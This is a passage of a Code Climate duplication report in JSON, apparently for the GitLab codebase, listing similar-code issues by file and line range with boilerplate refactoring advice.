`.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cd274943b0a85d56266ca30e0dc9e6ce","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/settings.rb","lines":{"begin":76,"end":83}},"remediation_points":650000,"other_locations":[{"path":"lib/api/runner.rb","lines":{"begin":86,"end":93}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ad9527e40decd629ae978623c4e6dbb3","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/runner.rb","lines":{"begin":86,"end":93}},"remediation_points":650000,"other_locations":[{"path":"lib/api/settings.rb","lines":{"begin":76,"end":83}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5a97fc139bd16e6c2c1ebb387c258035","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/commits.rb","lines":{"begin":28,"end":36}},"remediation_points":590000,"other_locations":[{"path":"lib/api/users.rb","lines":{"begin":182,"end":190}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4a0f4dd71fe015ff3e29d7ce0c5f5aa0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/users.rb","lines":{"begin":182,"end":190}},"remediation_points":590000,"other_locations":[{"path":"lib/api/commits.rb","lines":{"begin":28,"end":36}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"656c922dc9f4dab2a9d07fc10e49f190","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/health_checks/redis/queues_check.rb","lines":{"begin":2,"end":25}},"remediation_points":270000,"other_locations":[{"path":"lib/gitlab/health_checks/redis/cache_check.rb","lines":{"begin":2,"end":25}},{"path":"lib/gitlab/health_checks/redis/shared_state_check.rb","lines":{"begin":2,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a52f4db116344fb82ae762dfb265af18","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/health_checks/redis/cache_check.rb","lines":{"begin":2,"end":25}},"remediation_points":270000,"other_locations":[{"path":"lib/gitlab/health_checks/redis/queues_check.rb","lines":{"begin":2,"end":25}},{"path":"lib/gitlab/health_checks/redis/shared_state_check.rb","lines":{"begin":2,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"31c92fe357e3684090c3440aef2d0b29","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/health_checks/redis/shared_state_check.rb","lines":{"begin":2,"end":25}},"remediation_points":270000,"other_locations":[{"path":"lib/gitlab/health_checks/redis/cache_check.rb","lines":{"begin":2,"end":25}},{"path":"lib/gitlab/health_checks/redis/queues_check.rb","lines":{"begin":2,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fed5fac4efc814d8bd6d479976af387a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/helpers/milestones_helper.rb","lines":{"begin":199,"end":206}},"remediation_points":250000,"other_locations":[{"path":"app/helpers/milestones_helper.rb","lines":{"begin":209,"end":216}},{"path":"app/helpers/milestones_helper.rb","lines":{"begin":219,"end":226}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9bdbae2675861886dd810a67f252ae76","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/helpers/milestones_helper.rb","lines":{"begin":209,"end":216}},"remediation_points":250000,"other_locations":[{"path":"app/helpers/milestones_helper.rb","lines":{"begin":199,"end":206}},{"path":"app/helpers/milestones_helper.rb","lines":{"begin":219,"end":226}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9bdbae2675861886dd810a67f252ae76","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/helpers/milestones_helper.rb","lines":{"begin":219,"end":226}},"remediation_points":250000,"other_locations":[{"path":"app/helpers/milestones_helper.rb","lines":{"begin":199,"end":206}},{"path":"app/helpers/milestones_helper.rb","lines":{"begin":209,"end":216}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9bdbae2675861886dd810a67f252ae76","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/policies/project_policy.rb","lines":{"begin":217,"end":236}},"remediation_points":510000,"other_locations":[{"path":"app/policies/project_policy.rb","lines":{"begin":330,"end":351}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 43**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6f53dee2e0dbe6e42301dfabd181bed2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/policies/project_policy.rb","lines":{"begin":330,"end":351}},"remediation_points":510000,"other_locations":[{"path":"app/policies/project_policy.rb","lines":{"begin":217,"end":236}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 43**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6f53dee2e0dbe6e42301dfabd181bed2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":5,"end":22}},"remediation_points":210000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":250,"end":267}},{"path":"lib/api/services.rb","lines":{"begin":322,"end":339}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 28**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further 